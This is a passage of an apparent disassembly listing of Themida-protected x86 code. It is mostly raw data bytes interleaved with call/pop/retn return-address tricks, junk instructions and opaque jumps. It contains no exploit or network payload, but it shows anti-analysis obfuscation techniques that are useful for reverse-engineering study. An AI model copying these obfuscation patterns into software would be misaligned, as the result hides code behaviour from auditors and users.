		dd 9D41320Ah, 0E9127515h, 0Ah, 0EB63AD3Eh, 0A36B7DAh, 860FC8C4h
		dd 5, 0BCD68166h
		db 15h
; ---------------------------------------------------------------------------


loc_586CED:				; CODE XREF: Themida_:00586C75j
		mov	eax, ebx
		mov	ebx, eax
		add	esi, [ebp+6140C35h]
		mov	dword ptr [ebp+6141B75h], 3A7EE5BBh
		jmp	loc_586D0F
; ---------------------------------------------------------------------------
		dw 0CA86h
		dd 0CF8E44FAh
		db 90h
		db 0E0h, 98h
; ---------------------------------------------------------------------------


loc_586D0F:				; CODE XREF: Themida_:00586D01j
		mov	eax, eax
		push	0
		push	esi
		call	sub_586D1C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586D1C	proc near		; CODE XREF: Themida_:00586D14p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_586D1C	endp

; ---------------------------------------------------------------------------
		and	al, cl
		mov	esi, 8579FF0h
		jmp	loc_586D4C
; ---------------------------------------------------------------------------
		dd 86FD9ABh, 6F4ADB3Ch,	9F3EF773h, 0FF2529D5h, 0F755AC9Fh
; ---------------------------------------------------------------------------


loc_586D4C:				; CODE XREF: Themida_:00586D33j
		cmp	dword ptr [ebp+6141AA5h], 7D0h
		jnz	loc_586D6A
		movzx	esi, si
		inc	dword ptr [ebp+6141AA5h]
		mov	edi, 55A76E32h


loc_586D6A:				; CODE XREF: Themida_:00586D56j
		push	dword ptr [ebp+6141AA5h]
		call	dword ptr [ebp+6141169h]
		push	0
		push	edx
		call	sub_586D81
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586D81	proc near		; CODE XREF: Themida_:00586D79p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_586D81	endp

; ---------------------------------------------------------------------------
		db 0F6h, 84h, 9Dh
		dd 6D96B73Ah, 667FE8B2h, 90F696BFh, 14E8h, 0BC494E00h
		dd 0CA84F5h, 521DAFECh,	5A99179Eh, 12AF5BBEh, 8ABF6620h
		dd 5E81Eh, 996A0000h, 29CB5E37h, 141CFDBDh, 8B5E5E06h
		dd 52006AFEh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 1DBD33AFh, 8B061420h, 143501BDh,	5D952906h
		dd 0F061422h, 3581h, 0FE800h, 40880000h, 0E7641522h, 8F4A7B3Fh
		dd 93CF8787h, 6E980h, 9C0E0000h, 17E9ADDCh, 10E9h, 89B81E00h
		dd 9228A9EFh, 0EC3681C2h, 8A147985h, 0E6815E19h, 0D811100h
		dd 47C08160h, 5366695Ah, 820Fh,	61600000h, 0F18B615Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C1C35747h
		dd 0DF3750B4h, 3029C6CDh, 0BD33F78Bh, 6140D4Dh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 73C35545h, 0E9CA4233h
		dd 0Ah,	0BE9DA013h, 0F5790434h,	0EE8029Fh, 3B000000h, 733714A4h
		dd 6051E9DFh, 460F580h,	8D8951A5h, 614217Dh, 9D89565Eh
		dd 6143455h, 0A7E95E5Eh, 0BFFFFFF7h, 75B450F6h,	6AC18Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0DEEB37C3h, 4EBh, 8E0F0000h,	6, 830Fh, 95890000h, 6142D65h
		dd 0A0A9BE52h, 8D5E0960h, 140F9985h, 52F28B06h,	0B1A0BE66h
		dd 0E960905Eh, 14h, 4A7DA828h, 0F7F3C1F1h, 3244EEBEh, 8B181ECBh
		dd 30907F67h, 28C0Fh, 61600000h, 33905061h, 141A5DBDh
		dd 60006A06h, 25C58529h, 0BF0F0614h, 6A61D9h, 0A29B589h
		dd 858D0614h, 617E493h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FAC35747h, 2D3D8CBBh, 0F854B6Eh, 688h
		dd 71858900h, 0E9061430h, 12h, 44CA1022h, 627C48DEh, 70DB12A0h
		dd 34796580h, 0C08376F9h, 71BD0105h, 90061423h,	0EE9h
		dd 58CC8F00h, 0C694F390h, 6B4D2DC2h, 50F55CCEh,	55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 6EAC22A1h, 6A5287B4h, 6E900h, 0FC800000h, 3CB1C6A5h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 37D7B6C3h, 898E7EDCh, 142585B5h, 7195FF06h
		dd 8B06141Ah, 0FC9D8DF1h, 8B0617A8h, 141191BDh,	0F8D3FF06h
		dd 236D85FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5B0605C3h, 8AD98C17h, 2BB5B58Bh
		dd 2CE90614h, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 617E49Dh
		push	0
		push	ebp
		call	sub_58708E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58708E	proc near		; CODE XREF: Themida_:00587086p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_58708E	endp

; ---------------------------------------------------------------------------
		dw 2817h
		dd 2ABEC0E0h, 81113159h, 141AA5BDh, 7D006h, 5860F00h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 3845C352h, 0BD235724h, 6142301h, 0C99D8B5Eh
		dd 8B06141Ah, 1406EDBDh, 0E38106h, 0B000001h, 74850FDBh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 89E6C352h, 0D78166FDh,	0BD83D66Dh
		dd 617E31Fh, 23840F00h,	0E9000000h, 13h, 0F27B4742h, 37036C3Eh
		dd 0E67CAC98h, 9CA1BC35h, 0E994F719h, 37h, 1165B52Bh, 85C70614h
		dd 617E31Fh, 1,	810Fh, 1CE90000h, 8B000000h, 0C9B460F8h
		dd 1B798D89h, 0C7610614h, 17E31F85h, 6,	41BD2300h, 8D061409h
		dd 141AC99Dh, 9E906h, 0DB320000h, 0B7D1B450h, 81AFA577h
		dd 0FFFEFF23h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0EFF2B25Fh, 76588218h
		dd 0F88B664Dh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0AE12C353h,	0C48D54D9h
		dd 0C3F6AAC5h, 5D840F04h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 71BC350h
		dd 0AFBA1D5h, 0BD8B2517h, 61423BDh, 157D8D29h, 95FF0614h
		dd 6142E45h, 2625BD8Bh,	89500614h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 397D51C3h
		dd 40DE9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 391406B4h, 85A922CCh, 0BD8B00B0h
		dd 61400ADh, 0E68170E6h, 9983FA7h, 0BF6671E4h, 0B60F60FEh
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0E58D294Ch, 0F5061423h, 6BAh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 748646E1h, 0F727BC7h, 11870F53h, 0E9000000h,	0Ch, 0FBDB3B86h
		dd 1F0601D4h, 76AB46DCh, 0FC38B5Eh, 187h, 0E8C1FC00h, 6E904h
		dd 8AA0000h, 5CD4E811h,	6AE2F766h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F6B9C350h
		dd 28029682h, 0E46D4825h, 94DB523h, 0D82B0614h,	20FDB533h
		dd 8B500614h, 241C89F7h, 0D158529h, 0CE90614h, 0D7000000h
		dd 936610CEh, 127E98C9h, 0FF2F0F99h, 141AA5B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0BA6C47ADh, 66D33BBEh, 6B66DF81h, 116995FFh,	6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0BDC796C3h, 0F00B0B8h, 1A8Fh, 3BB46000h, 11E9h, 4B8D6500h
		dd 0DA395AD2h, 0B3CDFA8Dh, 0B03B65CAh, 0E661D74Bh, 56006A70h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 6DEA4F06h, 5EA584BEh, 0BD8BC9A9h, 6140FE5h, 7FBF71E4h
		dd 3C557EF5h, 53830F61h, 0BF000002h, 53BBA622h,	0E9D8B60Fh
		dd 0Ch,	0B4B564B3h, 75ACBFA4h, 42BFDA23h, 6BAh,	68BE6600h
		dd 6AC38B27h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0BFDDC350h, 592F6521h,	6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 801EC352h, 9217B1C3h, 29A19589h, 0F7660614h
		dd 6AD82BE2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 20F9C356h, 58095FF1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8EC35747h, 0FDED0BCh
		dd 68Bh, 0E19D8900h, 29061420h,	14221DBDh, 0FD82B06h, 18588h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6E87Bh, 22E20000h, 5B66C8EFh, 0E966D681h
		dd 0B95F7993h, 7, 3101B58Bh, 0C1830614h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 5F5DDB85h, 413953C5h, 0D93BF55Ah, 11C860Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0DA57D1C3h, 25CD9D31h, 8C660614h, 4DBD89D9h,	0F606141Bh
		dd 840F04C1h, 0DEh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 1AC35545h, 0B32EBE29h, 0BD29069Fh, 6140F4Dh
		dd 2E4595FFh, 0F28B0614h, 13E860h, 3850000h, 7FA6BF5Eh
		dd 6ED57299h, 1ED247C3h, 0B1C2E2C1h, 0BD9D31E0h, 5806141Fh
		dd 10D28166h, 895B61D0h, 142E41BDh, 6AC32B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0D657C351h, 862BAC35h, 78802DC7h, 8343Dh, 4F860F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 3B8C352h, 8B106163h, 14223DB5h
		dd 2CE906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0E4D73DC3h, 447A338Bh, 0C08B990Eh
		dd 2ADB58Bh, 0C38B0614h, 0B58BD88Bh, 6140BE1h, 53185C7h
		dd 1B510614h, 840F564Fh, 6, 2B1DB58Bh, 0C08B0614h, 3C5BD8Bh
		dd 0BD810614h, 6141AA5h, 7D0h, 3D850Fh,	890F0000h, 6, 22E5B58Bh
		dd 85FF0614h, 6141AA5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0EAC35040h, 0EF5841C7h, 205FD20Eh, 0D58D8927h
		dd 0FF061422h, 141AA5B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 90D17753h
		dd 8B604672h, 14307D8Dh, 13E806h, 18010000h, 0E1D41B14h
		dd 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 0DF81667Fh, 615FA1E3h
		dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0A18952C3h, 0B58B2567h, 6142C91h
		dd 0A890F90h, 0F000000h, 489h, 0E2BE6600h, 0ADBD8B5Bh
		dd 8B061402h, 142EADBDh, 418D8906h, 8B061423h, 140361BDh
		dd 0D9D0106h, 29061414h, 14114D9Dh, 2DB58906h, 66061408h
		dd 0E97C0ABFh, 10h, 3FCC0419h, 1B568236h, 252F5B3Eh, 5A1EBDE5h
		dd 0EBE68166h, 31B58B05h, 0F906141Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 1BC35242h, 5B6F6265h, 538C860Eh
		dd 10D5BD8Bh, 0BD8B0614h, 614095Dh, 10E95Fh, 41A10000h
		dd 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 6A1DE3h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0C5BD02C3h, 932F3949h, 89D585E0h, 143041B5h,	5BD2B06h
		dd 0FC061423h, 2E95BD2Bh, 8B660614h, 0BD9589F8h, 6A061412h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 4FCCC353h, 0D084CBD0h, 0DE681D6h,	0E91FE57Ah
		dd 0Bh,	9EEFA82Ah, 3F8876Ah, 0E9DAC823h, 0FFFFF80Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 20C35646h, 979F3011h
		dd 9D9589B1h, 8906142Ah, 1425B58Dh, 74BE6606h, 0DD9D3135h
		dd 8B061414h, 0EABE66C1h, 4EB33h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 89FBC355h, 142EC19Dh, 7E806h, 0C4150000h, 0FF2D348Dh
		dd 0A59589D7h, 5E061419h, 0BEDB58Bh, 820F0614h,	6, 0B1D0D781h
		dd 858D60C7h, 6140F99h,	1853150h, 5F06140Fh, 21318589h
		dd 66500614h, 489FE8Bh,	97BE6624h, 0FC006A68h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E90ED4C3h, 20B98D89h, 858D0614h, 617EE8Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F5C35545h, 0F19D01D3h
		dd 83061420h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B09276C3h, 7E958h, 526E0000h, 75A310B1h
		dd 68E0F30h, 8B000000h,	142FA5B5h, 0FB8B9006h, 8B665250h
		dd 0F905FF0h, 6AF6BFh, 9D8BF960h, 61423E5h, 0E8006A61h
		dd 0Fh,	622DE9B3h, 0D12F8727h, 12AE5DF8h, 66434EE9h, 0FF5FF38Bh
		dd 141A7195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 2942A032h, 8B666FD4h, 0FC9D8DF1h
		dd 6A0617A8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0AB7DC355h, 0D3FFA507h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 30C35040h, 6F3A2522h
		dd 86B09EBFh, 0AE948h, 0EF620000h, 3BC4F88h, 7EB79247h
		dd 1695BD89h, 85FF0614h, 614236Dh, 4820Fh, 0BE660000h
		dd 6FE9F079h, 0E8000009h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 617EE99h
		push	0
		push	ecx
		call	sub_587A8A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587A8A	proc near		; CODE XREF: Themida_:00587A82p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_587A8A	endp

; ---------------------------------------------------------------------------
		mov	ds:6FB3C05Dh, al
		inc	edx
		scasb
		mov	ebp, esi
		mov	si, bx
		cmp	dword ptr [ebp+6141AA5h], 7D0h
		jbe	loc_587BCB
		add	di, 35B1h
		mov	ebx, [ebp+6140E2Dh]
		and	ebx, 100h
		mov	[ebp+6140655h],	esi
		or	ebx, ebx
		jnz	loc_587B26
		mov	di, si
		cmp	dword ptr [ebp+617ECCCh], 0
		jz	loc_587AED
		jmp	loc_587B53
; ---------------------------------------------------------------------------
		movsx	edi, ax


loc_587AED:				; CODE XREF: Themida_:00587ADFj
		mov	dword ptr [ebp+617ECCCh], 1
		push	0
		push	ebp
		call	sub_587B02
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587B02	proc near		; CODE XREF: Themida_:00587AFAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_587B02	endp

; ---------------------------------------------------------------------------
		dec	esi
		add	[eax-75h], al
		mov	ch, 95h
		sub	dl, [esi+eax]
		jmp	loc_587B53
; ---------------------------------------------------------------------------
		mov	esi, [ebp+6141AC1h]


loc_587B26:				; CODE XREF: Themida_:00587ACFj
		mov	dword ptr [ebp+617ECCCh], 0
		push	0
		push	edi
		call	sub_587B3B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587B3B	proc near		; CODE XREF: Themida_:00587B33p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_587B3B	endp

; ---------------------------------------------------------------------------
		mov	edx, 0A4F41CA7h
		inc	esp
		das


loc_587B53:				; CODE XREF: Themida_:00587AE5j
					; Themida_:00587B1Bj
		lea	ebx, [ebp+6140E2Dh]
		push	0
		push	ecx
		call	sub_587B64
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587B64	proc near		; CODE XREF: Themida_:00587B5Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_587B64	endp

; ---------------------------------------------------------------------------
		dd 23E0C1ACh, 9D09AC57h, 6140361h, 0CE8h, 9570F600h, 0C864287Bh
		dd 9C6EA445h, 8985293Ch, 5E06141Ah, 6860Fh, 0BD8B0000h
		dd 6142121h, 0FEFF2381h, 0CE81FFFFh, 5640F6E1h,	7E860h
		dd 0E6300000h, 7870FE1h, 39BD8901h, 5B06140Ch, 257D9D89h
; ---------------------------------------------------------------------------
		adc	al, 6
		popa


loc_587BCB:				; CODE XREF: Themida_:00587AB0j
		mov	bx, ds
		push	0
		push	ebp
		call	sub_587BD9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587BD9	proc near		; CODE XREF: Themida_:00587BD1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_587BD9	endp

; ---------------------------------------------------------------------------
		db 7, 31h, 0E9h
		dd 8, 4D60347Ah, 0F8645880h, 0F04C3F6h,	8784h, 0B9666000h
		dd 858B668Bh, 61422E5h,	4595FF61h, 6A06142Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 9122C352h, 1637410Ch, 0BE677D9Fh, 2A94B26Bh,	0BE525090h
		dd 436AE186h, 5250310Fh, 310F5250h, 310F585Ah, 585A585Ah
		dd 0CE950h, 40CC0000h, 52853746h, 310E8C16h, 6A90AE8Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 537CC351h, 73830906h, 52EE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0A8262CFBh, 2D285ABBh, 2615B58Bh, 0B00614h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CBC35242h, 8E9h
		dd 0CF26AD00h, 5B9EEE38h, 6A70E64Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BC7C356h
		dd 1430E1B5h, 6880F06h,	29000000h, 143161B5h, 0E971E406h
		dd 12h,	8184DA46h, 8672D060h, 29E138F8h, 93EDC6C9h, 958952BEh
		dd 6140251h, 6AD8B60Fh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FBCC357h, 68Bh, 85BD0B00h
		dd 0BA061410h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	79C35646h, 8B74D480h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BE666F9Bh
		dd 0E8C1927Fh, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 160EBD1h, 14347D9Dh, 0E2F76606h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9FC35747h
		dd 0BE8h, 7591BD00h, 88BF6076h,	0CD90123Fh, 6E8h, 0E7F68400h
		dd 0B5A2D11h, 140319B5h, 815F5E06h, 4C2C2CFh, 6AD82B41h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 1EF5C355h, 459A2E82h, 0F78B667Eh,	52506093h
		dd 310F6160h, 13E9h, 81826300h,	22255AF6h, 0EE4B1908h
		dd 411CC24Fh, 5482FC27h, 0B966585Ah, 50611914h,	6A93F78Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 24F7C355h, 7B6EDDE1h, 0CE815156h,	50DF17F1h
		dd 0B5FF5E5Fh, 6141AA5h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0AC35343h, 0BE9F9ECh,	11000000h, 8575461Eh
		dd 0A8383968h, 12E935EDh, 0FB000000h, 0FD111786h, 0A43F4A8Bh
		dd 0FD62118h, 0D1D8DA22h, 6995FF53h, 81061411h,	374CD9F6h
		dd 6A00B068h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0B5F3C356h, 0BE660FE9h, 70E660FFh
		dd 61148DBEh, 8B71E40Eh, 14100DB5h, 0F613C06h, 29A83h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 7E651F65h, 51887155h, 0B70F60F1h, 0EAF681DEh
		dd 611FE8F4h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 92C1C350h, 6BAA1h
		dd 85890000h, 6142215h,	6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0C2E5E8C3h, 2AA6C04Ah
		dd 0B58B0E58h, 6140081h, 6A04E8C1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9EA0C352h
		dd 669CB995h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9D89FDC3h, 61409F9h, 0BD0BD82Bh
		dd 6141A31h, 0E898589h,	0F9580614h, 880FD82Bh, 1B3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D1C35242h, 2B0D9529h
		dd 7B90614h, 66000000h,	0C183FB8Bh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 89268BC9h
		dd 142BD5BDh, 0B5BD8B06h, 3B061409h, 54860FD9h,	0F000001h
		dd 685h, 9D950100h, 66061431h, 5E9D98Ch, 0FF000000h, 0CD36B090h
		dd 0C1F65F51h, 0F840F04h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B7B8C350h
		dd 890DD204h, 140B798Dh, 95FFF806h, 6142E45h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5AC35242h, 0D3F37D93h
		dd 0BE8601Ch, 48000000h, 21F5C3A4h, 5152CEC9h, 9D895AFBh
		dd 61416DDh, 6A5B5Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD8BAFC3h, 61409A9h, 6AC32BF5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0B6DDC350h, 2E1F48A7h, 8343Dh, 57860F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 3928C353h, 0B4908378h,	0E95EAE91h
		dd 4Fh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 0C0C35040h, 13F8F7DDh, 8E9C5h, 0B9D60000h, 945FA69Fh
		dd 0C08BA712h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0B6C35545h, 8BDC37D7h, 6AD88BC3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FAAC356h
		dd 684h, 0ADBD2900h, 0C706142Ah, 141AC985h, 2B89D506h
		dd 53006A10h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0D2E04AE2h, 8E19A5D1h, 0BD895B8Ah, 6140FBDh
		dd 8D89C08Bh, 61406C9h,	1AA5BD81h, 7D00614h, 850F0000h
		dd 53h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 0EC35545h, 609B7B9Eh, 8948C480h, 141685BDh, 0B70F6106h
		dd 0A585FFFFh, 6A06141Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0BB71C352h,	0FF44D79Dh
		dd 141AA5B5h, 0D7816606h, 95FF68FDh, 6141169h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FC35646h, 0D2FA7095h
		dd 5009B593h, 55BD01F2h, 90061402h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0DBC35141h,	0B36630C2h, 6A6735h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 816679C3h, 0BF80C9CEh, 5E520F7Dh, 8BF0B70Fh,	0F08B66F0h
		dd 67DBD8Bh, 56FC0614h,	8B525FF8h, 1414C5BDh, 8D895F06h
		dd 6142BBDh, 0F890Fh, 89600000h, 1431958Dh, 820FFC06h
		dd 0
; ---------------------------------------------------------------------------
		popa
		push	0
		push	ecx
		call	sub_58834C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58834C	proc near		; CODE XREF: Themida_:00588344p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_58834C	endp

; ---------------------------------------------------------------------------
		mov	[edi+49A11354h], dh
		mov	edi, esi
		mov	esi, [ebp+6141FB5h]
		push	0
		push	edi
		call	sub_588375
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588375	proc near		; CODE XREF: Themida_:0058836Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_588375	endp

; ---------------------------------------------------------------------------
		db 63h,	71h, 2Eh
; ---------------------------------------------------------------------------
		dec	edi
		xor	edi, [ebp+6141B7Dh]
		mov	di, 4F7Fh
		mov	di, ax
		jmp	loc_5883A4
; ---------------------------------------------------------------------------
		db 0EEh
; ---------------------------------------------------------------------------
		retn	9645h
; ---------------------------------------------------------------------------
		jecxz	short loc_5883D9
		and	bl, [ebp+40h]


loc_5883A4:				; CODE XREF: Themida_:00588396j
		mov	esi, edx
		push	0
		push	ebx
		call	sub_5883B1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5883B1	proc near		; CODE XREF: Themida_:005883A9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5883B1	endp

; ---------------------------------------------------------------------------
		db 40h,	0F9h, 0EAh
		dd 0F6A9E9D7h, 830FFFFFh, 12h, 68D0Fh, 0BD8B0000h
		db 7Dh
; ---------------------------------------------------------------------------


loc_5883D9:				; CODE XREF: Themida_:0058839Fj
		das
		adc	al, 6


loc_5883DC:				; DATA XREF: Themida_:00549360o
		sub	esi, 677D7D89h
		mov	eax, ecx
		sub	edi, [ebp+6141129h]
		jmp	short loc_5883F0
; ---------------------------------------------------------------------------
		align 10h


loc_5883F0:				; CODE XREF: Themida_:005883EAj
		push	0
		push	ebx
		call	sub_5883FB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5883FB	proc near		; CODE XREF: Themida_:005883F3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5883FB	endp

; ---------------------------------------------------------------------------
		test	al, 0C2h
		scasd
